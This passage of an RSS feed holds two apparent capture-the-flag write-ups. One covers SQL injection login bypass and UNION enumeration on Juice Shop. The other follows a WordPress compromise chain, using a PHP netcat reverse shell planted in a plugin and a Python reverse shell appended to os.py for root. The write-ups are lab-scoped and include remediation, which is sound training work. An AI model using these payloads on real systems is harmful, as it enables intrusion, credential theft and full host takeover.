src="https://cdn-images-1.medium.com/max/1024/1*54dHBrTK24ddW2STmLIwKA.png" /></figure><h4><strong>Reuse of injection for account takeover</strong></h4><p>I attempted to authenticate as the discovered account by injecting into the username field and neutralizing the password check with a comment. The attack succeeded and I authenticated as that user.</p><pre>#Discovered email used:-  <br><br>bender@juice_sh.op&#39;-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vi7BGwA3TH8czu2J4COUnA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TTpLHrrTFluO2G9tuGt5tw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JPXnKc3Ht4Rb-Z8iM6307g.png" /></figure><h4><strong>Attack surface expansion via the search feature</strong></h4><p>I located a search input and performed a search for the term banana to observe the request pattern. The search term appeared in the URL as a parameter which made it convenient to craft and replay requests from Burp.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uqxXjcPK7oNRCSej4I1tCQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hB4gyyKNGxloen0oLrEyrw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DcRugOLdN9eo-9FsWIeuYA.png" /></figure><h4><strong>Confirming injection in the search parameter</strong></h4><p>The search request was sent to Repeater and since it was a search function I suspected it would use a LIKE ‘%’) query so I tried injecting &#39;) which produced an error that exposed how the application built the underlying query. Screenshot follows.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bOmowtS_p-zQozV5WJjjnQ.png" /></figure><h4><strong>Crafting an escape and comment technique for the search query</strong></h4><p>Inspection showed the application used a LIKE clause wrapped in parentheses together with an AND deletedAt expression also wrapped in outer parentheses. To break out of that context I supplied a closing quote and two closing parentheses then added a block comment marker (URL encoded) to ignore the remainder of the original SQL which returns all the items list as JSON which confirmed complete control of the query result set.</p><pre>&#39;))-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hnOcF1zcryhCPN-PuRbq8w.png" /></figure><h4>Determining the number of columns required for union based enumeration</h4><p>I wanted to use the union statement to start enumeration, but union only works if both the select statements return the same number of columns, so lets start by getting our correct number of columns. I used incrementally larger union select payloads to discover how many columns the original query returned. The pattern was tried until the union succeeded without an error. Shown here is the progression of attempts.</p><pre>&#39;)) union select 1-- - <br>&#39;)) union select 1,2-- - <br>&#39;)) union select 1,2,3-- - <br>&#39;)) union select 1,2,3,4-- -  <br>&#39;)) union select 1,2,3,4,5-- - <br>&#39;)) union select 1,2,3,4,5,6-- - <br>&#39;)) union select 1,2,3,4,5,6,7-- - <br>&#39;)) union select 1,2,3,4,5,6,7,8-- - <br>&#39;)) union select 1,2,3,4,5,6,7,8,9-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S3IUgPImNK1s-sePYeTulw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h4ChkY6E2pG9aiBAkdf4xw.png" /></figure><h4><strong>Minimizing noise while enumerating</strong></h4><p>To avoid the application returning the original result set on every request I prefixed the payload so the original query would return zero rows and the union would supply the data I wanted. I used a -1 value in place of a row identifier followed by a union payload.</p><pre>-1&#39;)) union select 1,2,3,4,5,6,7,8,9-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PGI2JoQHxasonCz-c0Y7AA.png" /></figure><h4>Extracting useful metadata and schema information</h4><p>With a stable union primitive I enumerated server metadata and schema objects. For example the engine version was retrieved this way. Since I used the place 9 to place my query the application will return my results on the 9th column i.e &quot;deletedAt&quot;</p><pre>-1&#39;)) union select 1,2,3,4,5,6,7,8,sqlite_version()-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zz5YuYmjZjhXXTRD9b25Qg.png" /></figure><h4>Dumping table names and columns</h4><p>I queried the internal schema to list tables and their columns so I could plan targeted dumps of relevant tables.</p><pre>-1&#39;)) union select 1,2,3,4,5,6,7,8,sql FROM sqlite_schema-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FYckBWWbnUw5NmkC7mf6dw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ov5FGwZ9ncGuRZmFqcJROg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UoZUQI5Q7OpXByusffAXWQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WRYfm-TqAVn35_Yv9jYzVQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nALZiY8FeoTbwSt1rF8_SA.png" /></figure><h4>Targeted table data extraction</h4><p>With table names and column names in hand, I crafted union queries that concatenated column values into a single string for easy reading from the application response.</p><pre>-1&#39;)) union select 1,2,3,4,5,6,7,8,group_concat(col1 || &#39;|&#39; || col2 || &#39;|&#39; || col3 || &#39;---+++---&#39;) FROM table_name-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bp57WLotTj0-WQxe_We5pQ.png" /></figure><p><strong>Final note on operational hygiene</strong></p><p>I captured request and response artifacts in Burp logs and in local notes for traceability and remediation verification. All testing occurred within an isolated local container to avoid any risk to production assets.</p><h3>Outcome</h3><p>I successfully bypassed the authentication mechanism to log in as the admin account by exploiting SQL injection in the login flow. While reviewing application content I discovered an additional email entry inside user generated reviews and used the same injection techniques to authenticate as that account. Finally I leveraged the search interface to craft queries that allowed systematic enumeration of database content producing a readable mapping of relevant tables and records.</p><h3>Lessons learned</h3><p>This engagement reinforced the practical risk posed by improperly parameterized database queries within business logic that is exposed to unauthenticated or minimally authenticated users. Authentication endpoints and search features are high impact targets because they often accept structured input and are expected to return user influenced content. The importance of defense in depth was evident in how a single input validation weakness enabled multiple attack objectives.</p><h3>Relevance to cybersecurity practice</h3><p>The findings translate directly into actionable remediation and policy advice for production environments. Key recommendations include adopting parameterized queries or prepared statements, implementing strict input validation and output encoding, enforcing least privilege for database accounts, and adding detection rules for anomalous query patterns. From a program perspective the project highlights the value of incorporating application layer testing into regular security assessments and integrating secure coding practices into development lifecycles.</p><h3>Appendix and next steps</h3><p>Capture all test artifacts and payloads used during the engagement for retention and for use in remediation verification. Plan a targeted retest after fixes are applied and recommend secure development training for teams responsible for input handling and authentication logic.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b8a093f4e17d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Multi-Stage Web Exploitation Leading to Full System Compromise and Privilege Dominance]]></title>
            <link>https://kizerh.medium.com/multi-stage-web-exploitation-leading-to-full-system-compromise-and-privilege-dominance-c0382c706111?source=rss-51da61495e5d------2</link>
            <guid isPermaLink="false">https://medium.com/p/c0382c706111</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[wordpress]]></category>
            <category><![CDATA[web-application-security]]></category>
            <dc:creator><![CDATA[Kiza]]></dc:creator>
            <pubDate>Sun, 16 Nov 2025 21:05:19 GMT</pubDate>
            <atom:updated>2025-12-21T19:56:33.675Z</atom:updated>
            <content:encoded><![CDATA[<p>Author: <a href="https://kiza.online/">https://kiza.online/</a></p><h3>Overview</h3><p>This project documents and demonstrates a common attack chain against a web application that includes external reconnaissance, application layer enumeration, credential discovery, privilege escalation through a vulnerable plugin, web shell deployment, host enumeration, lateral movement to a user account, and local privilege escalation to root. The write up focuses on evidence based actions taken, the security weaknesses exploited, and practical remediation advice that maps directly to production security controls.</p><h3>The Challenge</h3><p>The target was a small web facing service hosting a content management system. The high level objective was to determine whether a motivated attacker could move from initial access to full system compromise by leveraging weak authentication, vulnerable third party components, and weak host level hygiene. Specific goals were to obtain an interactive shell on the host, locate credentials or artifacts that enable further access, and demonstrate a path to escalate privileges to the operating system root account.</p><h3>Tools used</h3><ol><li>Nmap for service and port discovery</li><li>WPScan for WordPress enumeration and credential testing</li><li>Burp Suite for request interception, replay, and file editing</li><li>SSH client for authenticated shell access to the host</li><li>Netcat for listener setup and interactive shell handling</li><li>linpeas for rapid host enumeration and discovery of privilege escalation vectors</li><li>pspy64 for cron activity discovery on the host</li><li>Local note taking and artifact collection for traceability and remediation evidence</li></ol><h3>The Execution</h3><p>Below is a polished, step by step account of the actions taken during the engagement. Each step is written to be clear and reproducible for audit and portfolio purposes.</p><h4><strong>Initial network and service discovery</strong></h4><p>I began with a top level scan to identify reachable services and gather version information. The scan revealed SSH and HTTP services and the presence of a web application. Evidence from the robots file and the web server responses strongly suggested a WordPress installation.</p><pre>nmap -A &lt;target-ip&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4SokQRS2pbWqnamQctS-UA.png" /></figure><h4><strong>WordPress fingerprinting and enumeration</strong></h4><p>With the web application identified I ran an application specific enumeration against WordPress to harvest usernames, version information, themes, and plugins. This provided the user accounts that became important for subsequent credential testing.</p><pre>wpscan --url http://&lt;target-ip&gt; -e u</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TywMwPLg7xntfrW8LNwm-Q.png" /></figure><p>Identified the Wordpress verion as 5.3.2, the theme in used was online-portfolio , users found were jack, wendy and danny</p><h4><strong>Aggressive plugin detection to surface vulnerable components</strong></h4><p>To identify known vulnerable third party components I invoked WPScan plugin detection in aggressive mode using my API token. The default passive detection did not reveal much so I used the higher sensitivity mode which identified an outdated installation of the User Role Editor plugin. This component became the primary escalation vector.</p><pre>wpscan --url http://&lt;target-ip&gt; --enumerate vp --api-token &lt;your-token&gt; --plugins-detection aggressive</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SyZjahQNk8Fp9FaMocPASA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kygN-ynEhtKYtxbUXihPOg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jmpgIlStnKG_NIPU6S7MwA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bs4D68-fMQY3TnFq584poA.png" /></figure><h4>Credential discovery via password guessing</h4><p>I used WPScan to test common and targeted passwords against enumerated users. This process produced valid credentials for a user account named wendy with the password changelater. The successful authentication established an authenticated, low privilege foothold in the application.</p><pre>wpscan --url http://&lt;target-ip&gt; --username wendy --passwords /path/to/wordlist.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yXCwlKKyTmKdBahWjP-VNw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6KX047eo9CPp2QkLoB9NQw.png" /></figure><h4>Exploiting User Role Editor to obtain administrative privileges</h4><p>Knowing the identified plugin is capable of modifying role assignments I intercepted a profile update request using Burp Suite. I injected an additional parameter into the request body to assign the administrator role to the current account. The parameter used was &amp;ure_other_roles=administrator. After forwarding the modified request the wendy account gained administrative capabilities. This step converted the authenticated foothold into full CMS admin control.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IfD5oUBLgBzwKY64oN8BTw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MxIqeexopl1uJztDRYVS0w.png" /></figure><h4>Reviewing available plugins and preparing for code modification</h4><p>With admin privileges I inspected the plugin directory from the WordPress admin interface. Several plugins were present but not all were active. Because plugin code is PHP and because the admin interface permits editing plugin files I prepared to insert a web shell into a plugin file for command execution on the host.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_TQOJr4RSS3SzENkEorj0Q.png" /></figure><h4>Planting a PHP reverse shell into an editable plugin file</h4><p>I edited the akismet plugin main file and added a small PHP reverse shell snippet. After saving the change I triggered the plugin by activating it which executed the PHP and created an outbound connection to my listener. Prior to activating the payload I started a netcat listener on my machine.</p><pre>// inserted into akismet/akismet.php <br><br>&lt;?php system(&#39;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc &lt;YOUR LISTENER IP&gt; &lt;YOUR LISTENER PORT&gt; &gt;/tmp/f&#39;); ?&gt;</pre><pre>//starting a listener on my system <br><br>nc -lnvp 1000</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6NMH8AUL8lSqJV1KGx7Cqw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rntQnsCoOFNwpejgRN0ssw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kEkL5veVY__3JsrXmXSvXA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DDfCCaVj6iKVcvWLmLR8hg.png" /></figure><h4>Post compromise host enumeration as the web service user</h4><p>The reverse shell gave me a shell session as the web server user, typically www-data. From there I performed careful host enumeration. During this phase I discovered a backup folder that contained a private SSH key. The presence of SSH on the target host was already known from the initial discovery scan which made the private key a high value artifact.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kCV0I4OfA0r9A4x2nV20dg.png" /></figure><h4>Using the discovered private key to move to a named user account</h4><p>I copied the private key locally and adjusted permissions so the SSH client would accept it. Using that key I authenticated to the host as the jack user (while enumerating the host system as the web service user I saw jack as a user with a home directory, so I gave it a try as the username) and obtained a proper interactive shell as jack. This step moved the access from the web service user to a real user account on the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zwREWDHnQvV2_aBeIRekzA.png" /></figure><h4>Host enumeration for privilege escalation vectors</h4><p>Logged in as jack I ran a focused enumeration utility called linpeas <a href="https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS">https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS</a> to accelerate discovery of local misconfigurations and common escalation opportunities.</p><pre># upload or fetch linpeas.sh then run <br><br><br>./linpeas.sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*63-PebsFUrM-65euQqUMFg.png" /><figcaption>Hosting a python on my system so as to get the linpaes and pspy64 to the victim systen by using wget</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yk7Xr05Bw00fxXPqcPR5uA.png" /><figcaption>using “wget” to fetch the scripts from my system to the vicitim system and changing the permissions of the scripts</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NpriAhjqN1_pdkPsKFj5xA.png" /><figcaption>Running linpeas</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JB8GwC5GDLiuz1BXmfC14Q.png" /></figure><p>One of the things i found out was that the root is running a cron job from seeing /usr/sbin/cron -f so I decided to use a lightweight process monitoring tool called pspy64 <a href="https://github.com/DominicBreuker/pspy">https://github.com/DominicBreuker/pspy</a> on the host to observe the jobs that execute periodically.</p><pre># pspy64 to observe cron and scheduled tasks <br><br>./pspy64</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u_aVtj-MC5pdc-W7a7jXzg.png" /></figure><h4>Detecting a root cron job that executes a Python script</h4><p>The process monitoring output showed a root cron job that invoked Python to run a script located at <em>/opt/statuscheck/checker.py</em>. The cron job was running as UID 0 which meant anything executed by that script would run with root privileges. This represented an opportunity for privilege escalation if the script or any of its imported modules were writable by a user with my current privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jZRdvoXMhRm2wK9tW_DwXA.png" /></figure><h4>Analyzing the targeted Python script and its imports</h4><p>I reviewed <a href="http://checker.py/">checker.py</a> and observed that it imports the os module and then performs network checks using curl with results written to an output log.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yynuhgDCNjZg03pRG6EJFQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P5oMFZDY07QmJ5cY-6lOww.png" /></figure><p>I checked to see if I can modify the file but direct modification of <a href="http://checker.py/">checker.py</a> was not possible due to file permissions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*24GksMNb4WrGO9nmeBSvrA.png" /></figure><p>I then remebered that the script imports a module os. The system provided a standard library <a href="http://os.py/">os.py</a> which was group writable and the user which we are currently logged in as ( jack ) was part of that group. Writable library code that is imported by a root executed script is an ideal vector to inject code that will run as root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*RTOrVD4rE8Chmwr93EAhgQ.png" /></figure><h4>Crafting and adding a Python based reverse shell into the writable module</h4><p>Because <a href="http://os.py/">os.py</a> was group writable, I injected a concise Python reverse shell snippet into that file. The snippet was constructed to open a TCP connection back to my listener and spawn a shell. Care was taken to ensure the payload would not break standard module behavior beyond what was required to execute the reverse shell when the cron job next ran.</p><pre># appended to /usr/lib/python2.7/os.py <br><br>import socket,pty;s=socket.socket(socket.AF_INET, socket. SOCK_STREAM);s.connect((&quot;Listener_IP&quot;,Listener PORT));dup2(s.fileno(),0);dup2(s.fileno(),1);dup2(s.fileno(),2);pty.spawn(&quot;/bin/sh&quot;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*joCP3_yW_KK1Qcot_RXBPw.png" /></figure><h4>Waiting for the scheduled job to execute and obtaining a root shell</h4><p>After placing the payload I monitored my listener while waiting for the cron job to run. When the scheduled run executed the checker script it imported the modified os module which triggered the reverse shell connection back to my listener. The resulting session was a root shell. I validated the privilege escalation and captured the session artifacts for documentation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xWrWOEYTZd75-UemGAgc6Q.png" /></figure><h4>Operational hygiene and artifact collection</h4><p>Throughout the engagement I preserved captured HTTP requests, plugin file modifications, retrieved key material, shell session logs, and output from enumeration tools. These artifacts form the evidence trail used for remediation verification and for the write up included in this portfolio entry.</p><h3><strong>Outcome summary</strong></h3><p>The assessment produced a complete attack narrative from network discovery to root on the host.</p><p><strong>Key findings and technical impact</strong></p><ol><li>Exposed management interfaces allowed automated enumeration and credential testing that led to initial access.</li><li>A vulnerable plugin allowed privilege escalation inside the application leading to full administrative control of the CMS.</li><li>Ability to write to plugin files enabled persistent command execution on the host via a planted PHP reverse shell.</li><li>Sensitive artifacts left on the host such as private keys enabled lateral movement from the web service user to a named user account.</li><li>Misconfigured scheduled tasks and writable application scripts allowed local privilege escalation to root.</li></ol><p><strong>Lessons learned and remediation guidance</strong></p><ol><li>Harden public facing services by reducing administrative exposure and by rate limiting authentication attempts.</li><li>Adopt an aggressive third party component management program that includes inventorying plugins, monitoring vulnerability feeds, and performing timely updates.</li><li>Restrict the ability to change code or upload files from within CMS administration unless strictly required and subject to review.</li><li>Store private keys and other sensitive artifacts outside of web accessible directories and enforce strict file permissions.</li><li>Run host side services with least privilege and remove write permissions for service accounts from directories that contain executable scripts used by scheduled tasks.</li><li>Add detection for uncommon file modifications and anomalous outbound connections from web processes to shorten attacker dwell time.</li></ol><p><strong>Relevance to practice and next steps</strong></p><p>This case study illustrates how small weaknesses at the application layer can cascade into full host compromise. The findings map directly to pragmatic controls that development and operations teams can implement today. Recommended next steps are to remediate the specific vulnerable plugin, rotate any compromised credentials and keys, perform a post remediation retest, and implement monitoring rules to detect similar chains in production environments.</p><p>NOTE: This project was carried out with the help of the “Jack” room on <a href="https://medium.com/u/dc49a0a3cb16">TryHackMe</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c0382c706111" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>